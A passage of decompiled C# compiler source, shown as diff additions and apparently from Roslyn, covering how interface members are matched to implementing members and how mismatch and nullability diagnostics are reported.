interfaceAccessor1, MethodSymbol interfaceAccessor2) GetImplementableAccessors(Symbol interfaceMember) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + SymbolKind kind = interfaceMember.Kind; + MethodSymbol methodSymbol; + MethodSymbol methodSymbol2; + if ((int)kind != 5) + { + if ((int)kind == 15) + { + PropertySymbol obj = (PropertySymbol)interfaceMember; + methodSymbol = obj.GetMethod; + methodSymbol2 = obj.SetMethod; + } + else + { + methodSymbol = null; + methodSymbol2 = null; + } + } + else + { + EventSymbol obj2 = (EventSymbol)interfaceMember; + methodSymbol = obj2.AddMethod; + methodSymbol2 = obj2.RemoveMethod; + } + if (!methodSymbol.IsImplementable()) + { + methodSymbol = null; + } + if (!methodSymbol2.IsImplementable()) + { + methodSymbol2 = null; + } + return (interfaceAccessor1: methodSymbol, interfaceAccessor2: methodSymbol2); + } + + private static bool IsExplicitlyImplementedViaAccessors(bool checkPendingExplicitImplementations, Symbol interfaceMember, TypeSymbol currType, ref CompoundUseSiteInfo useSiteInfo, out Symbol implementingMember) + { + var (interfaceAccessor, interfaceAccessor2) = GetImplementableAccessors(interfaceMember); + if (TryGetExplicitImplementationAssociatedPropertyOrEvent(checkPendingExplicitImplementations, interfaceAccessor, currType, ref useSiteInfo, out var associated) | TryGetExplicitImplementationAssociatedPropertyOrEvent(checkPendingExplicitImplementations, interfaceAccessor2, currType, ref useSiteInfo, out var associated2)) + { + if ((object)associated == null || (object)associated2 == null || associated == associated2) + { + implementingMember = associated ?? associated2; + if ((object)implementingMember != null && !(implementingMember.OriginalDefinition.ContainingModule is PEModuleSymbol) && implementingMember.IsExplicitInterfaceImplementation()) + { + implementingMember = null; + } + } + else + { + implementingMember = null; + } + return true; + } + implementingMember = null; + return false; + } + + private static bool TryGetExplicitImplementationAssociatedPropertyOrEvent(bool checkPendingExplicitImplementations, MethodSymbol interfaceAccessor, TypeSymbol currType, ref CompoundUseSiteInfo useSiteInfo, out Symbol associated) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + if ((object)interfaceAccessor != null) + { + ValueSet explicitImplementationForInterfaceMember = currType.GetExplicitImplementationForInterfaceMember(interfaceAccessor); + if (explicitImplementationForInterfaceMember.Count == 1) + { + Symbol symbol = explicitImplementationForInterfaceMember.Single(); + associated = (((int)symbol.Kind == 9) ? ((MethodSymbol)symbol).AssociatedSymbol : null); + return true; + } + if (checkPendingExplicitImplementations && currType.InterfacesAndTheirBaseInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).ContainsKey(interfaceAccessor.ContainingType)) + { + MethodSymbol bodyOfSynthesizedInterfaceMethodImpl = currType.GetBodyOfSynthesizedInterfaceMethodImpl(interfaceAccessor); + if ((object)bodyOfSynthesizedInterfaceMethodImpl != null) + { + associated = bodyOfSynthesizedInterfaceMethodImpl.AssociatedSymbol; + return true; + } + } + } + associated = null; + return false; + } + + private static void CheckForImplementationOfCorrespondingPropertyOrEvent(MethodSymbol interfaceMethod, TypeSymbol implementingType, bool implementingTypeIsFromSomeCompilation, ref Symbol implicitImpl) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Invalid comparison between Unknown and I4 + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Invalid comparison between Unknown and I4 + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + Symbol associatedSymbol = interfaceMethod.AssociatedSymbol; + Symbol symbol = implementingType.FindImplementationForInterfaceMemberInNonInterface(associatedSymbol, ignoreImplementationInInterfacesIfResultIsNotReady: true); + MethodSymbol methodSymbol = null; + if ((object)symbol != null && !symbol.ContainingType.IsInterface) + { + MethodKind methodKind = interfaceMethod.MethodKind; + if ((int)methodKind <= 7) + { + if ((int)methodKind != 5) + { + if ((int)methodKind != 7) + { + goto IL_007b; + } + methodSymbol = ((EventSymbol)symbol).GetOwnOrInheritedRemoveMethod(); + } + else + { + methodSymbol = ((EventSymbol)symbol).GetOwnOrInheritedAddMethod(); + } + } + else if ((int)methodKind != 11) + { + if ((int)methodKind != 12) + { + goto IL_007b; + } + methodSymbol = ((PropertySymbol)symbol).GetOwnOrInheritedSetMethod(); + } + else + { + methodSymbol = ((PropertySymbol)symbol).GetOwnOrInheritedGetMethod(); + } + } + if (methodSymbol == implicitImpl) + { + return; + } + if ((object)methodSymbol == null && (object)implicitImpl != null && implicitImpl.IsAccessor()) + { + implicitImpl = null; + } + else if ((object)methodSymbol != null && ((object)implicitImpl == null || Equals(methodSymbol.ContainingType, implicitImpl.ContainingType, (TypeCompareKind)0))) + { + MethodSymbol interfaceMember = new SignatureOnlyMethodSymbol(methodSymbol.Name, interfaceMethod.ContainingType, interfaceMethod.MethodKind, interfaceMethod.CallingConvention, interfaceMethod.TypeParameters, interfaceMethod.Parameters, interfaceMethod.RefKind, interfaceMethod.IsInitOnly, interfaceMethod.IsStatic, interfaceMethod.ReturnTypeWithAnnotations, interfaceMethod.RefCustomModifiers, interfaceMethod.ExplicitInterfaceImplementations); + if (IsInterfaceMemberImplementation(methodSymbol, interfaceMember, implementingTypeIsFromSomeCompilation)) + { + implicitImpl = methodSymbol; + } + } + return; + IL_007b: + throw ExceptionUtilities.UnexpectedValue((object)interfaceMethod.MethodKind); + } + + private static void ReportDefaultInterfaceImplementationMatchDiagnostics(Symbol interfaceMember, TypeSymbol implementingType, Symbol implicitImpl, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)interfaceMember.Kind == 9 && implementingType.ContainingModule != implicitImpl.ContainingModule) + { + bool isStatic = implicitImpl.IsStatic; + MessageID messageID = (isStatic ? MessageID.IDS_FeatureStaticAbstractMembersInInterfaces : MessageID.IDS_DefaultInterfaceImplementation); + LanguageVersion languageVersion = messageID.RequiredVersion(); + LanguageVersion? languageVersion2 = implementingType.DeclaringCompilation?.LanguageVersion; + if (languageVersion > languageVersion2) + { + diagnostics.Add(ErrorCode.ERR_LanguageVersionDoesNotSupportInterfaceImplementationForMember, GetInterfaceLocation(interfaceMember, implementingType), implicitImpl, interfaceMember, implementingType, messageID.Localize(), languageVersion2.GetValueOrDefault().ToDisplayString(), new CSharpRequiredLanguageVersion(languageVersion)); + } + if (!(isStatic ? implementingType.ContainingAssembly.RuntimeSupportsStaticAbstractMembersInInterfaces : implementingType.ContainingAssembly.RuntimeSupportsDefaultInterfaceImplementation)) + { + diagnostics.Add(isStatic ? ErrorCode.ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfacesForMember : ErrorCode.ERR_RuntimeDoesNotSupportDefaultInterfaceImplementationForMember, GetInterfaceLocation(interfaceMember, implementingType), implicitImpl, interfaceMember, implementingType); + } + } + } + + private static void ReportImplicitImplementationMatchDiagnostics(Symbol interfaceMember, TypeSymbol implementingType, Symbol implicitImpl, BindingDiagnosticBag diagnostics) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Invalid comparison between Unknown and I4 + //IL_01a0: Unknown result type (might be due to invalid IL or missing references) + //IL_01a6: Invalid comparison between Unknown and I4 + bool flag = false; + if ((int)interfaceMember.Kind == 9) + { + MethodSymbol methodSymbol = (MethodSymbol)interfaceMember; + bool flag2 = implicitImpl.IsAccessor(); + bool flag3 = methodSymbol.IsAccessor(); + if (flag3 && !flag2 && !methodSymbol.IsIndexedPropertyAccessor()) + { + diagnostics.Add(ErrorCode.ERR_MethodImplementingAccessor, GetImplicitImplementationDiagnosticLocation(interfaceMember, implementingType, implicitImpl), implicitImpl, methodSymbol, implementingType); + } + else if (!flag3 && flag2) + { + diagnostics.Add(ErrorCode.ERR_AccessorImplementingMethod, GetImplicitImplementationDiagnosticLocation(interfaceMember, implementingType, implicitImpl), implicitImpl, methodSymbol, implementingType); + } + else + { + MethodSymbol methodSymbol2 = (MethodSymbol)implicitImpl; + if (methodSymbol2.IsConditional) + { + diagnostics.Add(ErrorCode.ERR_InterfaceImplementedByConditional, GetImplicitImplementationDiagnosticLocation(interfaceMember, implementingType, implicitImpl), implicitImpl, methodSymbol, implementingType); + } + else if (methodSymbol2.IsStatic && (int)methodSymbol2.MethodKind == 10 && methodSymbol2.GetUnmanagedCallersOnlyAttributeData(forceComplete: true) != null) + { + diagnostics.Add(ErrorCode.ERR_InterfaceImplementedByUnmanagedCallersOnlyMethod, GetImplicitImplementationDiagnosticLocation(interfaceMember, implementingType, implicitImpl), implicitImpl, methodSymbol, implementingType); + } + else if (ReportAnyMismatchedConstraints(methodSymbol, implementingType, methodSymbol2, diagnostics)) + { + flag = true; + } + } + } + if (implicitImpl.ContainsTupleNames() && MemberSignatureComparer.ConsideringTupleNamesCreatesDifference(implicitImpl, interfaceMember)) + { + diagnostics.Add(ErrorCode.ERR_ImplBadTupleNames, GetImplicitImplementationDiagnosticLocation(interfaceMember, implementingType, implicitImpl), implicitImpl, interfaceMember); + flag = true; + } + if (!flag && implementingType.DeclaringCompilation != null) + { + CheckModifierMismatchOnImplementingMember(implementingType, implicitImpl, interfaceMember, isExplicit: false, diagnostics); + } + if (!implicitImpl.ContainingType.IsDefinition) + { + ImmutableArray.Enumerator enumerator = implicitImpl.ContainingType.GetMembers(implicitImpl.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.DeclaredAccessibility == 6 && !(current == implicitImpl) && MemberSignatureComparer.RuntimeImplicitImplementationComparer.Equals(interfaceMember, current) && !current.IsAccessor()) + { + diagnostics.Add(ErrorCode.WRN_MultipleRuntimeImplementationMatches, GetImplicitImplementationDiagnosticLocation(interfaceMember, implementingType, current), current, interfaceMember, implementingType); + } + } + } + if (implicitImpl.IsStatic && interfaceMember.ContainingModule != implementingType.ContainingModule) + { + LanguageVersion languageVersion = MessageID.IDS_FeatureStaticAbstractMembersInInterfaces.RequiredVersion(); + LanguageVersion? languageVersion2 = implementingType.DeclaringCompilation?.LanguageVersion; + if (languageVersion > languageVersion2) + { + diagnostics.Add(ErrorCode.ERR_LanguageVersionDoesNotSupportInterfaceImplementationForMember, GetImplicitImplementationDiagnosticLocation(interfaceMember, implementingType, implicitImpl), implicitImpl, interfaceMember, implementingType, MessageID.IDS_FeatureStaticAbstractMembersInInterfaces.Localize(), languageVersion2.GetValueOrDefault().ToDisplayString(), new CSharpRequiredLanguageVersion(languageVersion)); + } + if (!implementingType.ContainingAssembly.RuntimeSupportsStaticAbstractMembersInInterfaces) + { + diagnostics.Add(ErrorCode.ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfacesForMember, GetImplicitImplementationDiagnosticLocation(interfaceMember, implementingType, implicitImpl), implicitImpl, interfaceMember, implementingType); + } + } + } + + internal static void CheckModifierMismatchOnImplementingMember(TypeSymbol implementingType, Symbol implementingMember, Symbol interfaceMember, bool isExplicit, BindingDiagnosticBag diagnostics) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Invalid comparison between Unknown and I4 + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Invalid comparison between Unknown and I4 + //IL_0155: Unknown result type (might be due to invalid IL or missing references) + if (implementingMember.IsImplicitlyDeclared || implementingMember.IsAccessor()) + { + return; + } + if ((int)interfaceMember.Kind == 5) + { + CSharpCompilation declaringCompilation = implementingType.DeclaringCompilation; + EventSymbol overridingEvent = (EventSymbol)implementingMember; + EventSymbol overriddenEvent = (EventSymbol)interfaceMember; + SourceMemberContainerTypeSymbol.CheckValidNullableEventOverride(declaringCompilation, overriddenEvent, overridingEvent, diagnostics, delegate(BindingDiagnosticBag bindingDiagnosticBag, EventSymbol implementedEvent, EventSymbol implementingEvent, (TypeSymbol implementingType, bool isExplicit) arg) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Expected O, but got Unknown + if (arg.isExplicit) + { + bindingDiagnosticBag.Add(ErrorCode.WRN_NullabilityMismatchInTypeOnExplicitImplementation, implementingEvent.GetFirstLocation(), (object)new FormattedSymbol((ISymbolInternal)(object)implementedEvent, SymbolDisplayFormat.MinimallyQualifiedFormat)); + } + else + { + bindingDiagnosticBag.Add(ErrorCode.WRN_NullabilityMismatchInTypeOnImplicitImplementation, GetImplicitImplementationDiagnosticLocation(implementedEvent, arg.implementingType, implementingEvent), (object)new FormattedSymbol((ISymbolInternal)(object)implementingEvent, SymbolDisplayFormat.MinimallyQualifiedFormat), (object)new FormattedSymbol((ISymbolInternal)(object)implementedEvent, SymbolDisplayFormat.MinimallyQualifiedFormat)); + } + }, (implementingType, isExplicit)); + return; + } + SymbolKind kind = interfaceMember.Kind; + if ((int)kind != 9) + { + if ((int)kind != 15) + { + throw ExceptionUtilities.UnexpectedValue((object)interfaceMember.Kind); + } + PropertySymbol propertySymbol = (PropertySymbol)implementingMember; + PropertySymbol propertySymbol2 = (PropertySymbol)interfaceMember; + MethodSymbol methodSymbol = (propertySymbol2.GetMethod.IsImplementable() ? propertySymbol.GetOwnOrInheritedGetMethod() : null); + MethodSymbol methodSymbol2 = (propertySymbol2.SetMethod.IsImplementable() ? propertySymbol.GetOwnOrInheritedSetMethod() : null); + if ((object)methodSymbol != null) + { + checkMethodOverride(implementingType, propertySymbol2.GetMethod, methodSymbol, isExplicit, checkReturnType: true, methodSymbol?.AssociatedSymbol != propertySymbol || methodSymbol2?.AssociatedSymbol != propertySymbol, diagnostics); + } + if ((object)methodSymbol2 != null) + { + checkMethodOverride(implementingType, propertySymbol2.SetMethod, methodSymbol2, isExplicit, checkReturnType: false, checkParameterTypes: true, diagnostics); + } + } + else + { + MethodSymbol methodSymbol3 = (MethodSymbol)implementingMember; + MethodSymbol methodSymbol4 = (MethodSymbol)interfaceMember; + if (methodSymbol4.IsGenericMethod) + { + methodSymbol4 = methodSymbol4.Construct(TypeMap.TypeParametersAsTypeSymbolsWithIgnoredAnnotations(methodSymbol3.TypeParameters)); + } + checkMethodOverride(implementingType, methodSymbol4, methodSymbol3, isExplicit, checkReturnType: true, checkParameterTypes: true, diagnostics); + } + static void checkMethodOverride(TypeSymbol typeSymbol, MethodSymbol implementedMethod, MethodSymbol implementingMethod, bool item, bool checkReturnType, bool checkParameterTypes, BindingDiagnosticBag bindingDiagnosticBag) + { + ReportMismatchInReturnType<(TypeSymbol, bool)> reportMismatchInReturnType = delegate(BindingDiagnosticBag bindingDiagnosticBag2, MethodSymbol methodSymbol6, MethodSymbol methodSymbol5, bool topLevel, (TypeSymbol implementingType, bool isExplicit) arg) + { + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Expected O, but got Unknown + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + if (arg.isExplicit) + { + bindingDiagnosticBag2.Add(topLevel ? ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnExplicitImplementation : ErrorCode.WRN_NullabilityMismatchInReturnTypeOnExplicitImplementation, methodSymbol5.GetFirstLocation(), (object)new FormattedSymbol((ISymbolInternal)(object)methodSymbol6.ConstructedFrom, SymbolDisplayFormat.MinimallyQualifiedFormat)); + } + else + { + bindingDiagnosticBag2.Add(topLevel ? ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnImplicitImplementation : ErrorCode.WRN_NullabilityMismatchInReturnTypeOnImplicitImplementation, GetImplicitImplementationDiagnosticLocation(methodSymbol6, arg.implementingType, methodSymbol5), (object)new FormattedSymbol((ISymbolInternal)(object)methodSymbol5, SymbolDisplayFormat.MinimallyQualifiedFormat), (object)new FormattedSymbol((ISymbolInternal)(object)methodSymbol6.ConstructedFrom, SymbolDisplayFormat.MinimallyQualifiedFormat)); + } + }; + ReportMismatchInParameterType<(TypeSymbol, bool)> reportMismatchInParameterType = delegate(BindingDiagnosticBag bindingDiagnosticBag2, MethodSymbol methodSymbol6, MethodSymbol methodSymbol5, ParameterSymbol implementingParameter, bool topLevel, (TypeSymbol implementingType, bool isExplicit) arg) + { + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Expected O, but got Unknown + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Expected O, but got Unknown + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + if (arg.isExplicit) + { + bindingDiagnosticBag2.Add(topLevel ? ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnExplicitImplementation : ErrorCode.WRN_NullabilityMismatchInParameterTypeOnExplicitImplementation, methodSymbol5.GetFirstLocation(), (object)new FormattedSymbol((ISymbolInternal)(object)implementingParameter, SymbolDisplayFormat.ShortFormat), (object)new FormattedSymbol((ISymbolInternal)(object)methodSymbol6.ConstructedFrom, SymbolDisplayFormat.MinimallyQualifiedFormat)); + } + else + { + bindingDiagnosticBag2.Add(topLevel ? ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnImplicitImplementation : ErrorCode.WRN_NullabilityMismatchInParameterTypeOnImplicitImplementation, GetImplicitImplementationDiagnosticLocation(methodSymbol6, arg.implementingType, methodSymbol5), (object)new FormattedSymbol((ISymbolInternal)(object)implementingParameter, SymbolDisplayFormat.ShortFormat), (object)new FormattedSymbol((ISymbolInternal)(object)methodSymbol5, SymbolDisplayFormat.MinimallyQualifiedFormat), (object)new FormattedSymbol((ISymbolInternal)(object)methodSymbol6.ConstructedFrom, SymbolDisplayFormat.MinimallyQualifiedFormat)); + } + }; + SourceMemberContainerTypeSymbol.CheckValidNullableMethodOverride(typeSymbol.DeclaringCompilation, implementedMethod, implementingMethod, bindingDiagnosticBag, checkReturnType ? reportMismatchInReturnType : null, checkParameterTypes ? reportMismatchInParameterType : null, (typeSymbol, item)); + if (checkParameterTypes && SourceMemberContainerTypeSymbol.RequiresValidScopedOverrideForRefSafety(implementedMethod)) + { + SourceMemberContainerTypeSymbol.CheckValidScopedOverride(implementedMethod, implementingMethod, bindingDiagnosticBag, delegate(BindingDiagnosticBag bindingDiagnosticBag2, MethodSymbol methodSymbol5, MethodSymbol methodSymbol6, ParameterSymbol implementingParameter, bool _, (TypeSymbol implementingType, bool isExplicit) arg) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + bindingDiagnosticBag2.Add(SourceMemberContainerTypeSymbol.ReportInvalidScopedOverrideAsError(methodSymbol5, methodSymbol6) ? ErrorCode.ERR_ScopedMismatchInParameterOfOverrideOrImplementation : ErrorCode.WRN_ScopedMismatchInParameterOfOverrideOrImplementation, GetImplicitImplementationDiagnosticLocation(methodSymbol5, arg.implementingType, methodSymbol6), (object)new FormattedSymbol((ISymbolInternal)(object)implementingParameter, SymbolDisplayFormat.ShortFormat)); + }, (typeSymbol, item), allowVariance: true, invokedAsExtensionMethod: false); + } + if (checkParameterTypes) + { + SourceMemberContainerTypeSymbol.CheckRefReadonlyInMismatch(implementedMethod, implementingMethod, bindingDiagnosticBag, delegate(BindingDiagnosticBag bindingDiagnosticBag2, MethodSymbol interfaceMember2, MethodSymbol member, ParameterSymbol implementingParameter, bool _, (ParameterSymbol BaseParameter, TypeSymbol Arg) arg) + { + (ParameterSymbol BaseParameter, TypeSymbol Arg) tuple = arg; + ParameterSymbol item2 = tuple.BaseParameter; + TypeSymbol item3 = tuple.Arg; + Location implicitImplementationDiagnosticLocation = GetImplicitImplementationDiagnosticLocation(interfaceMember2, item3, member); + bindingDiagnosticBag2.Add(ErrorCode.WRN_OverridingDifferentRefness, implicitImplementationDiagnosticLocation, implementingParameter, item2); + }, typeSymbol, invokedAsExtensionMethod: false); + } + if (implementingMethod.HasUnscopedRefAttributeOnMethodOrProperty()) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_UnscopedRefAttributeInterfaceImplementation, GetImplicitImplementationDiagnosticLocation(implementedMethod, typeSymbol, implementingMethod)); + } + } + } + + private static void ReportImplicitImplementationMismatchDiagnostics(Symbol interfaceMember, TypeSymbol implementingType, Symbol closestMismatch, BindingDiagnosticBag diagnostics) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Invalid comparison between Unknown and I4 + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Invalid comparison between Unknown and I4 + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Invalid comparison between Unknown and I4 + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_011d: Invalid comparison between Unknown and I4 + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Invalid comparison between Unknown and I4 + //IL_012d: Unknown result type (might be due to invalid IL or missing references) + //IL_0132: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_0123: Invalid comparison between Unknown and I4 + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_0142: Unknown result type (might be due to invalid IL or missing references) + //IL_0147: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0153: Unknown result type (might be due to invalid IL or missing references) + //IL_0164: Unknown result type (might be due to invalid IL or missing references) + //IL_016a: Invalid comparison between Unknown and I4 + Location interfaceLocation = GetInterfaceLocation(interfaceMember, implementingType); + if (closestMismatch.IsStatic != interfaceMember.IsStatic) + { + diagnostics.Add(closestMismatch.IsStatic ? ErrorCode.ERR_CloseUnimplementedInterfaceMemberStatic : ErrorCode.ERR_CloseUnimplementedInterfaceMemberNotStatic, interfaceLocation, implementingType, interfaceMember, closestMismatch); + return; + } + if ((int)closestMismatch.DeclaredAccessibility != 6) + { + ErrorCode code = (interfaceMember.IsAccessor() ? ErrorCode.ERR_UnimplementedInterfaceAccessor : ErrorCode.ERR_CloseUnimplementedInterfaceMemberNotPublic); + diagnostics.Add(code, interfaceLocation, implementingType, interfaceMember, closestMismatch); + return; + } + if (HaveInitOnlyMismatch(interfaceMember, closestMismatch)) + { + diagnostics.Add(ErrorCode.ERR_CloseUnimplementedInterfaceMemberWrongInitOnly, interfaceLocation, implementingType, interfaceMember, closestMismatch); + return; + } + RefKind val = (RefKind)0; + SymbolKind kind = interfaceMember.Kind; + TypeSymbol typeSymbol; + if ((int)kind != 5) + { + if ((int)kind != 9) + { + if ((int)kind != 15) + { + throw ExceptionUtilities.UnexpectedValue((object)interfaceMember.Kind); + } + PropertySymbol obj = (PropertySymbol)interfaceMember; + val = obj.RefKind; + typeSymbol = obj.Type; + } + else + { + MethodSymbol obj2 = (MethodSymbol)interfaceMember; + val = obj2.RefKind; + typeSymbol = obj2.ReturnType; + } + } + else + { + typeSymbol = ((EventSymbol)interfaceMember).Type; + } + bool flag = false; + kind = closestMismatch.Kind; + if ((int)kind != 9) + { + if ((int)kind == 15) + { + flag = ((PropertySymbol)closestMismatch).RefKind != val; + } + } + else + { + flag = ((MethodSymbol)closestMismatch).RefKind != val; + } + DiagnosticInfo diagnosticInfo; + if ((object)typeSymbol != null && (diagnosticInfo = typeSymbol.GetUseSiteInfo().DiagnosticInfo) != null && (int)diagnosticInfo.DefaultSeverity == 3) + { + diagnostics.Add(diagnosticInfo, interfaceLocation); + } + else if (flag) + { + diagnostics.Add(ErrorCode.ERR_CloseUnimplementedInterfaceMemberWrongRefReturn, interfaceLocation, implementingType, interfaceMember, closestMismatch); + } + else + { + diagnostics.Add(ErrorCode.ERR_CloseUnimplementedInterfaceMemberWrongReturnType, interfaceLocation, implementingType, interfaceMember, closestMismatch, typeSymbol); + } + } + + internal static bool HaveInitOnlyMismatch(Symbol one, Symbol other) + { + if (!(one is MethodSymbol methodSymbol)) + { + return false; + } + if (!(other is MethodSymbol methodSymbol2)) + { + return false; + } + return methodSymbol.IsInitOnly != methodSymbol2.IsInitOnly; + } + + private static Location GetInterfaceLocation(Symbol interfaceMember, TypeSymbol implementingType) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = interfaceMember.ContainingType; + SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol = null; + if (implementingType.InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics[containingType].Contains(containingType)) + { + sourceMemberContainerTypeSymbol = implementingType as SourceMemberContainerTypeSymbol; + } + return sourceMemberContainerTypeSymbol?.GetImplementsLocation(containingType) ?? implementingType.GetFirstLocationOrNone(); + } + + private static bool ReportAnyMismatchedConstraints(MethodSymbol interfaceMethod, TypeSymbol implementingType, MethodSymbol implicitImpl, BindingDiagnosticBag diagnostics) + { + bool result = false; + int arity = interfaceMethod.Arity; + if (arity > 0) + { + ImmutableArray typeParameters = interfaceMethod.TypeParameters; + ImmutableArray typeParameters2 = implicitImpl.TypeParameters; + ImmutableArray to = IndexedTypeParameterSymbol.Take(arity); + TypeMap typeMap = new TypeMap(typeParameters, to, allowAlpha: true); + TypeMap typeMap2 = new TypeMap(typeParameters2, to, allowAlpha: true); + for (int i = 0; i < arity; i++) + { + TypeParameterSymbol typeParameterSymbol = typeParameters[i]; + TypeParameterSymbol typeParameterSymbol2 = typeParameters2[i]; + if (!MemberSignatureComparer.HaveSameConstraints(typeParameterSymbol, typeMap, typeParameterSymbol2, typeMap2)) + { + diagnostics.Add(ErrorCode.ERR_ImplBadConstraints, GetImplicitImplementationDiagnosticLocation(interfaceMethod, implementingType, implicitImpl), typeParameterSymbol2.Name, implicitImpl, typeParameterSymbol.Name, interfaceMethod); + } + else if (!MemberSignatureComparer.HaveSameNullabilityInConstraints(typeParameterSymbol, typeMap, typeParameterSymbol2, typeMap2)) + { + diagnostics.Add(ErrorCode.WRN_NullabilityMismatchInConstraintsOnImplicitImplementation, GetImplicitImplementationDiagnosticLocation(interfaceMethod, implementingType, implicitImpl), typeParameterSymbol2.Name, implicitImpl, typeParameterSymbol.Name, interfaceMethod); + } + } + } + return result; + } + + internal static Location GetImplicitImplementationDiagnosticLocation(Symbol interfaceMember, TypeSymbol implementingType, Symbol member) + { + if (Equals(member.ContainingType, implementingType, (TypeCompareKind)0)) + { + return member.GetFirstLocation(); + } + NamedTypeSymbol containingType = interfaceMember.ContainingType; + return (implementingType as SourceMemberContainerTypeSymbol)?.GetImplementsLocation(containingType) ?? implementingType.GetFirstLocation(); + } + + private static void FindPotentialImplicitImplementationMemberDeclaredInType(Symbol interfaceMember, bool implementingTypeIsFromSomeCompilation, TypeSymbol currType, out Symbol implicitImpl, out Symbol closeMismatch) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Invalid comparison between Unknown and I4 + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Invalid comparison between Unknown and I4 + implicitImpl = null; + closeMismatch = null; + bool? flag = null; + if (interfaceMember is MethodSymbol { MethodKind: var methodKind }) + { + bool value = (((int)methodKind == 2 || (int)methodKind == 9) ? true : false); + flag = value; + } + ImmutableArray.Enumerator enumerator = currType.GetMembers(interfaceMember.Name).GetEnumerator(); + 